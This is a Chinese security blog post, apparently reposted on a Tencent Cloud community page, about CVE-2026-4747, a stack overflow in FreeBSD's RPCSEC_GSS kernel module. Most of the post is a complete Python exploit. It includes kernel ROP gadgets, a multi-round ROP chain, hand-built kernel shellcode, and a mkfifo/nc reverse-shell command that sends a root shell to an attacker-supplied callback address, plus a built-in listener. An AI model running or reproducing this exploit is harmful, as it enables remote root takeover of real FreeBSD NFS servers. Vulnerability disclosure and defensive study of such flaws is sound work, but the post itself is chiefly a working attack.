首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

作者头像
信安百科
发布2026-04-13 14:34:19
发布2026-04-13 14:34:19
950
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

FreeBSD是一款有着三十余年发展历史的开源类UNIX操作系统,它支持x86、ARM、RISC-V等多硬件架构,采用宽松的BSD许可证,允许用户自由使用、修改和分发代码,甚至可用于商业产品,macOS、任天堂Switch等都复用了它的代码。

在性能与功能上,FreeBSD表现突出,其先进的TCP/IP协议栈让它成为网络服务器的理想选择,能在高负载下稳定运行,同时具备内存保护、抢占式多任务、SMP多处理器支持等特性,保障系统的稳定性与安全性。它还拥有完整的开发工具链,支持C、C++等多种编程语言,通过Ports包管理器可安装超36000款应用程序,兼顾服务器、嵌入式系统、桌面等多场景需求。

0x01 漏洞描述

内核模块 kgssapi.ko 和用户态库 librpcgss_sec 实现了 RPCSEC_GSS 安全协议。 该组件在验证 RPCSEC_GSS 数据包签名时,将数据包的特定部分拷贝到栈缓冲区中,但未校验数据长度是否超过缓冲区容量。 攻击者通过发送构造的恶意 RPC 数据包可触发栈溢出,导致内核态或用户态的远程代码执行(RCE)。 —— ——来源于网络

0x02 CVE编号

CVE-2026-4747

0x03 影响版本

所有受支持的FreeBSD版本

0x04 漏洞详情

POC:

https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

代码语言:javascript
复制
#!/usr/bin/env python3
"""
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Remote Kernel RCE
================================================================

Stack buffer overflow in svc_rpc_gss_validate() → 15-round ROP chain
→ pmap_change_prot(BSS, RWX) → write shellcode → kproc_create
→ kern_execve("/bin/sh -c REVSHELL") → uid 0 reverse shell.

Targets FreeBSD 14.4-RELEASE amd64 GENERIC (no KASLR).
Requires a Kerberos ticket: kinit testuser@TEST.LOCAL

Usage:
    python3 exploit.py -t <target> -p 2049 --ip <callback_ip> --port <callback_port>
    python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

   - LCFR/x 2026
"""

import argparse
import gssapi
import select
import socket
import struct
import sys
import time

# ─── FreeBSD 14.4-RELEASE GENERIC amd64 constants ──────────────────────────

KERNEL_BASE      = 0xffffffff80200000
KERNEL_BSS       = 0xffffffff8198a000      # .bss section start
SHELLCODE_ADDR   = KERNEL_BSS + 0x800      # where shellcode is placed
STACK_TOP        = KERNEL_BSS + 0x1F00     # safe stack for shellcode
FAKE_MODULE_BASE = KERNEL_BSS - 0x3c000    # so reference bss_base = KERNEL_BSS

# ROP gadgets (found via ROPgadget on /boot/kernel/kernel)
POP_RDI          = KERNEL_BASE + 0x1adcda
POP_RSI          = KERNEL_BASE + 0x1cdf98
POP_RDX          = KERNEL_BASE + 0x5fa429
POP_RAX          = KERNEL_BASE + 0x400cb4
MOV_RDI_RAX_RET  = 0xffffffff80e3457c      # mov qword [rdi], rax ; ret
PMAP_CHANGE_PROT = KERNEL_BASE + 0xe4e2f0
KTHREAD_EXIT     = KERNEL_BASE + 0x92c100
KPROC_CREATE     = KERNEL_BASE + 0x92b600

# Kernel function offsets (for shellcode)
KPROC_CREATE_OFF        = 0x92b600
KTHREAD_EXIT_OFF        = 0x92c100
EXEC_ALLOC_ARGS_OFF     = 0x915500
EXEC_ARGS_ADD_FNAME_OFF = 0x9155f0
EXEC_ARGS_ADD_ARG_OFF   = 0x915680
KERN_EXECVE_OFF         = 0x913040
TD_PROC_OFF             = 0x08
P_VMSPACE_OFF           = 0x208
P_FLAG_OFF              = 0xb8
HA_HANDLER_OFF          = 0x3c2f0  # in fake module layout

# RPC / RPCSEC_GSS constants
LAST_FRAG    = 0x80000000
RPC_VERSION  = 2
NFS_PROGRAM  = 100003
NFS_V3       = 3
NULLPROC     = 0
AUTH_NONE    = 0
RPCSEC_GSS   = 6

# Overflow geometry (verified via De Bruijn pattern)
RIP_OFFSET   = 200    # credential body byte that overwrites return address
RBX_OFFSET   = 152    # saved RBX (preloaded with KPROC_CREATE for final round)

# Write primitive budget: each 8-byte write costs 5 qwords (40 bytes) of ROP
WRITES_PER_ROUND = 4   # 4 writes × 40B = 160B, plus 24B exit = 184B < 200B budget


# ─── Wire format helpers ────────────────────────────────────────────────────

def p64(v):
    return struct.pack('<Q', v)

def p32(v):
    return struct.pack('>I', v)

def xdr_opaque(data):
    pad = (4 - len(data) % 4) % 4
    return p32(len(data)) + data + b'\x00' * pad


# ─── Shellcode builder ─────────────────────────────────────────────────────

def build_shellcode(kernel_base, callback_ip, callback_port):
    """
    Build 425-byte x86-64 kernel shellcode for FreeBSD reverse shell.

    Two functions:
      entry  — runs on the hijacked NFS thread:
               pivots stack, clears DR7, calls kproc_create(worker), kthread_exit()
      worker — runs in the new kernel process (via fork_exit callback):
               exec_alloc_args → exec_args_add_* → kern_execve("/bin/sh -c REVSHELL")
               clears P_KPROC flag, returns to fork_exit → userret → iretq → userland

    Uses the same build logic as FBSD-001/exploit.py build_stage2_shellcode(),
    with two patches:
      1. ha_handler cleanup NOP'd (writes to CTL-specific addresses we don't own)
      2. DR7 cleared before kproc_create (prevents inherited hardware breakpoints)
    """
    kproc_create      = kernel_base + KPROC_CREATE_OFF
    kthread_exit      = kernel_base + KTHREAD_EXIT_OFF
    exec_alloc_args   = kernel_base + EXEC_ALLOC_ARGS_OFF
    exec_args_add_fname = kernel_base + EXEC_ARGS_ADD_FNAME_OFF
    exec_args_add_arg = kernel_base + EXEC_ARGS_ADD_ARG_OFF
    kern_execve       = kernel_base + KERN_EXECVE_OFF

    bss_base = FAKE_MODULE_BASE + 0x3c000  # = KERNEL_BSS
    stack_top = bss_base + 0x1F00
    shellcode_base = bss_base + 0x800
    ha_handler = FAKE_MODULE_BASE + HA_HANDLER_OFF

    revshell_cmd = (f"rm -f /tmp/f;mkfifo /tmp/f;"
                    f"cat /tmp/f|/bin/sh -i 2>&1|nc {callback_ip} {callback_port}>/tmp/f &")

    code = bytearray()

    # ── Entry ───────────────────────────────────────────────────────────────
    # Stack pivot
    code += b'\x48\xb8' + struct.pack('<Q', stack_top)
    code += b'\x48\x89\xc4'

    # kproc_create(worker_fn, NULL, NULL, 0, 0, "sh")
    worker_fn_lea = len(code)
    code += b'\x48\x8d\x3d\x00\x00\x00\x00'  # lea rdi, [rip + worker_fn]
    code += b'\x31\xf6\x31\xd2\x31\xc9\x45\x31\xc0'
    str_name_lea = len(code)
    code += b'\x4c\x8d\x0d\x00\x00\x00\x00'  # lea r9, [rip + str_name]

    # Patch: clear DR7 before kproc_create (prevents child inheriting stale breakpoints)
    code += b'\x31\xc0'          # xor eax, eax
    code += b'\x0f\x23\xf8'     # mov dr7, rax
    code += b'\x48\xb8' + struct.pack('<Q', kproc_create)
    code += b'\xff\xd0'          # call rax

    # Patch: NOP the ha_handler cleanup (originally zeroed CTL-specific pointers)
    for _ in range(19):
        code += b'\x90'

    # kthread_exit
    code += b'\x48\xb8' + struct.pack('<Q', kthread_exit)
    code += b'\xff\xd0'
    code += b'\xcc'  # int3 (unreachable)

    # ── Worker ──────────────────────────────────────────────────────────────
    worker_fn_start = len(code)

    code += b'\x55'                                        # push rbp
    code += b'\x48\x89\xe5'                               # mov rbp, rsp
    code += b'\x48\x81\xec\x10\x01\x00\x00'             # sub rsp, 0x110
    code += b'\x48\x89\x5d\xc0'                          # mov [rbp-0x40], rbx

    # Zero image_args
    code += b'\x48\x8d\x7d\x80'
    code += b'\x31\xc0'
    code += b'\xb9\x10\x00\x00\x00'
    code += b'\xf3\x48\xab'

    # exec_alloc_args(&args)
    code += b'\x48\x8d\x7d\x80'
    code += b'\x48\xb8' + struct.pack('<Q', exec_alloc_args)
    code += b'\xff\xd0'
    code += b'\x85\xc0'
    fail_jnz = len(code)
    code += b'\x0f\x85\x00\x00\x00\x00'  # jnz .fail

    # exec_args_add_fname(&args, "/bin/sh", UIO_SYSSPACE)
    code += b'\x48\x8d\x7d\x80'
    str_binsh_lea = len(code)
    code += b'\x48\x8d\x35\x00\x00\x00\x00'
    code += b'\xba\x01\x00\x00\x00'
    code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_fname)
    code += b'\xff\xd0'

    # exec_args_add_arg(&args, "sh", UIO_SYSSPACE)
    code += b'\x48\x8d\x7d\x80'
    str_sh_lea = len(code)
    code += b'\x48\x8d\x35\x00\x00\x00\x00'
    code += b'\xba\x01\x00\x00\x00'
    code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
    code += b'\xff\xd0'

    # exec_args_add_arg(&args, "-c", UIO_SYSSPACE)
    code += b'\x48\x8d\x7d\x80'
    str_c_lea = len(code)
    code += b'\x48\x8d\x35\x00\x00\x00\x00'
    code += b'\xba\x01\x00\x00\x00'
    code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
    code += b'\xff\xd0'

    # exec_args_add_arg(&args, REVSHELL_CMD, UIO_SYSSPACE)
    code += b'\x48\x8d\x7d\x80'
    str_cmd_lea = len(code)
    code += b'\x48\x8d\x35\x00\x00\x00\x00'
    code += b'\xba\x01\x00\x00\x00'
    code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
    code += b'\xff\xd0'

    # kern_execve(curthread, &args, NULL, oldvmspace)
    code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'
    code += b'\x48\x89\x7d\xd0'
    code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF)
    code += b'\x48\x8b\x88' + struct.pack('<I', P_VMSPACE_OFF)
    code += b'\x48\x8d\x75\x80'
    code += b'\x31\xd2'
    code += b'\x48\xb8' + struct.pack('<Q', kern_execve)
    code += b'\xff\xd0'

    # Check EJUSTRETURN
    code += b'\x83\xf8\xfe'
    success_je = len(code)
    code += b'\x74\x00'  # je .success

    # .fail
    fail_target = len(code)
    code += b'\x48\xb8' + struct.pack('<Q', kthread_exit)
    code += b'\xff\xd0'
    code += b'\xcc'

    # .success: clear P_KPROC
    success_target = len(code)
    code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'
    code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF)
    code += b'\x80\xa0' + struct.pack('<I', P_FLAG_OFF) + b'\xfb'
    code += b'\x48\x8b\x5d\xc0'
    code += b'\xc9'
    code += b'\xc3'

    # ── Strings ─────────────────────────────────────────────────────────────
    str_binsh_start = len(code); code += b'/bin/sh\x00'
    str_c_start = len(code); code += b'-c\x00'
    str_cmd_start = len(code); code += revshell_cmd.encode() + b'\x00'
    str_name_start = len(code); code += b'sh\x00'

    # ── Patch RIP-relative references ───────────────────────────────────────
    def patch_lea(off, target):
        rel = target - (off + 7)
        struct.pack_into('<i', code, off + 3, rel)

    patch_lea(worker_fn_lea, worker_fn_start)
    patch_lea(str_name_lea, str_name_start)
    struct.pack_into('<i', code, fail_jnz + 2, fail_target - (fail_jnz + 6))
    patch_lea(str_binsh_lea, str_binsh_start)
    patch_lea(str_sh_lea, str_binsh_start + 5)  # "sh" = "/bin/sh" + 5
    patch_lea(str_c_lea, str_c_start)
    patch_lea(str_cmd_lea, str_cmd_start)
    struct.pack_into('b', code, success_je + 1, success_target - (success_je + 2))

    # Pad to 8-byte alignment
    while len(code) % 8:
        code += b'\x00'

    return bytes(code)


# ─── GSS context establishment ──────────────────────────────────────────────

def gss_establish(host, port, spn, retries=6, delay=2):
    """
    Establish an RPCSEC_GSS context with the NFS server.
    Returns the 16-byte context handle, or None on failure.
    """
    for attempt in range(retries):
        try:
            name = gssapi.Name(spn, gssapi.NameType.kerberos_principal)
            ctx = gssapi.SecurityContext(
                name=name, usage='initiate',
                flags=gssapi.RequirementFlag.mutual_authentication)
            token = ctx.step()
            if not token:
                continue

            # Send RPCSEC_GSS_INIT
            rpc_hdr = (p32(0xaa000001) + p32(0) + p32(RPC_VERSION) +
                       p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))
            gss_cred = struct.pack('>IIIII', 1, 1, 0, 1, 0)  # ver,INIT,seq=0,svc=none,handle_len=0
            body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(gss_cred) +
                    p32(AUTH_NONE) + p32(0) + xdr_opaque(bytes(token)))
            pkt = p32(LAST_FRAG | len(body)) + body

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(100)
            sock.connect((host, port))
            sock.sendall(pkt)
            resp = sock.recv(8192)
            sock.close()

            # Parse handle from reply
            if len(resp) < 32:
                continue
            rp = 16  # skip frag(4) + xid(4) + type(4) + reply_stat(4)
            rp += 4  # verf_flavor
            vl = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4
            rp += vl + ((4 - vl % 4) % 4)  # skip verf body
            rp += 4  # accept_stat
            hlen = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4
            if hlen > 0:
                return resp[rp:rp+hlen]
            return b''

        except Exception:
            time.sleep(delay)

    return None


# ─── Overflow packet sender ────────────────────────────────────────────────

def send_overflow(host, port, credential_body):
    """Send an RPCSEC_GSS DATA packet with the given credential body."""
    rpc_hdr = (p32(0xdead0001) + p32(0) + p32(RPC_VERSION) +
               p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))
    body = (rpc_hdr +
            p32(RPCSEC_GSS) + xdr_opaque(credential_body) +
            p32(RPCSEC_GSS) + xdr_opaque(b'\x00' * 16))
    pkt = p32(LAST_FRAG | len(body)) + body

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))
    sock.sendall(pkt)
    try:
        sock.recv(4096)
    except (socket.timeout, ConnectionResetError):
        pass
    sock.close()


# ─── Credential builder ────────────────────────────────────────────────────

def build_credential(handle, rop_chain, preload_rbx=None):
    """
    Build a 400-byte RPCSEC_GSS credential body that overflows rpchdr[].

    Layout:
      [0..35]    GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle)
      [36..151]  Padding (fills rpchdr + local variables)
      [152..199] Saved registers (rbx, r12-r15, rbp — zeros or preloaded values)
      [200..399] ROP chain
    """
    cred = bytearray(400)

    # GSS DATA header
    struct.pack_into('>IIII', cred, 0, 1, 0, 1, 2)  # version, DATA, seq=1, svc=integrity
    struct.pack_into('>I', cred, 16, len(handle))
    cred[20:20+len(handle)] = handle
    # bytes 36..151 stay zero (padding)

    # Preload KPROC_CREATE into saved RBX for the final round's shellcode entry
    if preload_rbx is not None:
        struct.pack_into('<Q', cred, RBX_OFFSET, preload_rbx)

    # ROP chain at byte 200
    if len(rop_chain) > 200:
        raise ValueError(f"ROP chain too long: {len(rop_chain)} > 200 bytes")
    cred[RIP_OFFSET:RIP_OFFSET+len(rop_chain)] = rop_chain

    return bytes(cred)


# ─── ROP chain builders ────────────────────────────────────────────────────

def rop_pmap_and_exit():
    """Round 1: make BSS executable, then clean thread exit."""
    rop = bytearray()
    rop += p64(POP_RDI) + p64(KERNEL_BSS)
    rop += p64(POP_RSI) + p64(0x2000)       # 2 pages
    rop += p64(POP_RDX) + p64(7)            # VM_PROT_ALL (RWX)
    rop += p64(PMAP_CHANGE_PROT)
    rop += p64(POP_RDI) + p64(0)
    rop += p64(KTHREAD_EXIT)
    return bytes(rop)


def rop_write_qwords(writes, exit_or_jump):
    """
    Write up to 4 qwords to kernel memory, then either kthread_exit or jump.

    Each write: pop_rdi(addr) + pop_rax(value) + mov_[rdi]_rax = 40 bytes.
    Exit: pop_rdi(0) + kthread_exit = 24 bytes.
    Jump: just the target address = 8 bytes.
    """
    rop = bytearray()
    for addr, value in writes:
        rop += p64(POP_RDI) + p64(addr)
        rop += p64(POP_RAX) + p64(value)
        rop += p64(MOV_RDI_RAX_RET)

    if isinstance(exit_or_jump, int):
        # Jump to shellcode
        rop += p64(exit_or_jump)
    else:
        # Clean thread exit
        rop += p64(POP_RDI) + p64(0)
        rop += p64(KTHREAD_EXIT)

    return bytes(rop)


# ─── Main exploit ───────────────────────────────────────────────────────────

def nfs_alive(host, port, timeout=3):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((host, port))
        s.close()
        return True
    except Exception:
        return False


def exploit(target, nfs_port, callback_ip, callback_port, spn):
    """
    Full 15-round remote kernel RCE exploit.

    Round 1:      pmap_change_prot(BSS, RWX) + kthread_exit
    Rounds 2-14:  write 4 × 8B of shellcode per round + kthread_exit
    Round 15:     write final qwords + jump to shellcode entry
    """
    print(f"\n  Target:   {target}:{nfs_port}")
    print(f"  Callback: {callback_ip}:{callback_port}")
    print(f"  SPN:      {spn}\n")

    # ── Build shellcode ─────────────────────────────────────────────────
    shellcode = build_shellcode(KERNEL_BASE, callback_ip, callback_port)
    while len(shellcode) % 8:
        shellcode += b'\x00'

    # Split into 8-byte writes
    writes = []
    for i in range(0, len(shellcode), 8):
        qword = struct.unpack('<Q', shellcode[i:i+8])[0]
        writes.append((SHELLCODE_ADDR + i, qword))

    total_rounds = 1 + len(writes) // WRITES_PER_ROUND
    if len(writes) % WRITES_PER_ROUND:
        total_rounds += 1
    print(f"  Shellcode: {len(shellcode)} bytes ({len(writes)} qwords)")
    print(f"  Delivery:  {total_rounds} rounds (1 pmap + {total_rounds-1} write)\n")

    # ── Round 1: Make BSS executable ────────────────────────────────────
    print(f"  [R1/{total_rounds}] pmap_change_prot(BSS, 0x2000, RWX)")
    handle = gss_establish(target, nfs_port, spn)
    if handle is None:
        print("  [-] GSS context failed"); return False
    cred = build_credential(handle, rop_pmap_and_exit())
    send_overflow(target, nfs_port, cred)
    time.sleep(3)

    if not nfs_alive(target, nfs_port):
        print("  [-] NFS down after R1 (kernel panic?)"); return False
    print("  [+] BSS is now RWX\n")

    # ── Rounds 2+: Write shellcode to BSS ───────────────────────────────
    round_num = 2
    write_idx = 0

    while write_idx < len(writes):
        remaining = len(writes) - write_idx
        is_final = remaining <= WRITES_PER_ROUND
        batch_size = remaining if is_final else WRITES_PER_ROUND
        batch = writes[write_idx:write_idx + batch_size]

        action = "write + EXECUTE" if is_final else "write"
        print(f"  [R{round_num}/{total_rounds}] {action} "
              f"({batch_size} qwords → 0x{batch[0][0]:x})", end="", flush=True)

        handle = gss_establish(target, nfs_port, spn)
        if handle is None:
            print("\n  [-] GSS context failed"); return False

        if is_final:
            # Final round: write + jump to shellcode (preload KPROC_CREATE in rbx)
            rop = rop_write_qwords(batch, SHELLCODE_ADDR)
            cred = build_credential(handle, rop, preload_rbx=KPROC_CREATE)
        else:
            # Intermediate round: write + kthread_exit
            rop = rop_write_qwords(batch, "exit")
            cred = build_credential(handle, rop)

        send_overflow(target, nfs_port, cred)

        if is_final:
            print(f" → JUMP 0x{SHELLCODE_ADDR:x}")
        else:
            time.sleep(2)
            if not nfs_alive(target, nfs_port):
                print(f"\n  [-] NFS down after R{round_num}"); return False
            print(" ✓")

        write_idx += batch_size
        round_num += 1

    print(f"\n  [*] Shellcode delivered and executing.")
    print(f"  [*] kproc_create → kern_execve('/bin/sh -c ...')")
    print(f"  [*] Reverse shell → {callback_ip}:{callback_port}")
    return True


# ─── Entry point ────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-4747 — FreeBSD kgssapi.ko Remote Kernel RCE',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
  python3 exploit.py -t 192.168.1.100 -p 2049 --ip 192.168.1.1 --port 9001

Prerequisites:
  1. Target must run FreeBSD 14.4-RELEASE with kgssapi.ko + NFS
  2. Kerberos KDC must be reachable (port 88 or forwarded)
  3. Run: kinit testuser@TEST.LOCAL (before launching this exploit)
  4. Start a listener: nc -lvp <port>
        """)

    parser.add_argument('-t', '--target', required=True,
                        help='Target IP (NFS server)')
    parser.add_argument('-p', '--nfs-port', type=int, default=2049,
                        help='Target NFS port (default: 2049)')
    parser.add_argument('--ip', dest='callback_ip', required=True,
                        help='Attacker IP for reverse shell callback')
    parser.add_argument('--port', dest='callback_port', type=int, default=4444,
                        help='Attacker port for reverse shell (default: 4444)')
    parser.add_argument('--spn', default='nfs/freebsd-vuln@TEST.LOCAL',
                        help='Kerberos service principal (default: nfs/freebsd-vuln@TEST.LOCAL)')

    args = parser.parse_args()

    print("=" * 62)
    print("  CVE-2026-4747 — FreeBSD RPCSEC_GSS Remote Kernel RCE")
    print("  Stack overflow → ROP → shellcode → uid 0 reverse shell")
    print("=" * 62)

    # Start listener
    print(f"\n  [*] Starting listener on 0.0.0.0:{args.callback_port}...")
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        listener.bind(('0.0.0.0', args.callback_port))
    except OSError as e:
        print(f"  [-] Cannot bind port {args.callback_port}: {e}")
        return
    listener.listen(1)
    listener.settimeout(100)

    # Run exploit
    ok = exploit(args.target, args.nfs_port, args.callback_ip,
                 args.callback_port, args.spn)
    if not ok:
        listener.close()
        return

    # Wait for shell
    print(f"\n  [*] Waiting for reverse shell...")
    try:
        shell, addr = listener.accept()
    except socket.timeout:
        print("  [-] No connection within 60 seconds.")
        listener.close()
        return
    listener.close()

    print(f"  [+] Connection from {addr[0]}:{addr[1]}")
    print(f"  [+] Got shell!\n")

    # Interactive I/O
    shell.setblocking(False)
    try:
        while True:
            readable, _, _ = select.select([shell, sys.stdin], [], [], 0.1)
            for fd in readable:
                if fd is shell:
                    try:
                        data = shell.recv(4096)
                    except (BlockingIOError, ConnectionResetError):
                        data = b''
                    if not data:
                        raise SystemExit
                    sys.stdout.write(data.decode('utf-8', errors='replace'))
                    sys.stdout.flush()
                elif fd is sys.stdin:
                    line = sys.stdin.readline()
                    if not line:
                        raise SystemExit
                    shell.sendall(line.encode())
    except (KeyboardInterrupt, SystemExit):
        print("\n  [*] Shell closed.")
    finally:
        shell.close()


if __name__ == '__main__':
    main()

0x05 参考链接

https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-04-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档